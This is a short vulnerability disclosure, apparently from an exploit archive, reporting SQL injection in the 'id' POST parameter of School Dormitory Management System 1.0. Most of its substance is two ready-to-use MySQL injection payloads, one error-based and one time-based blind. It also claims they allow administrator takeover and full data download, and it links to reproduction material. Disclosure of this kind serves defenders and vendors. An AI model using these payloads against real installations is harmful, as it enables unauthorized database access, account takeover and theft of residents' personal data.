School Dormitory Management System 1.0 SQL Injection Vulnerability

## Title: School Dormitory Management 1.0 SQLi 
## Author: nu11secur1ty
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/School-Dormitory-Management



## Description:
The id parameter appears to be vulnerable to SQL injection attacks. 
A single quote was submitted in the id parameter, and a database error message was returned. 
Two single quotes were then submitted and the error message disappeared. 
The attacker can take administrator accounts control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: id (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=2' AND (SELECT 7198 FROM(SELECT COUNT(*),CONCAT(0x716b7a6a71,(SELECT (ELT(7198=7198,1))),0x7170717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# JPhD

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=2' AND (SELECT 6966 FROM (SELECT(SLEEP(5)))amnS)# UIgv
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/School-Dormitory-Management)

## Proof and Exploit:
[href](https://streamable.com/hd6xo1)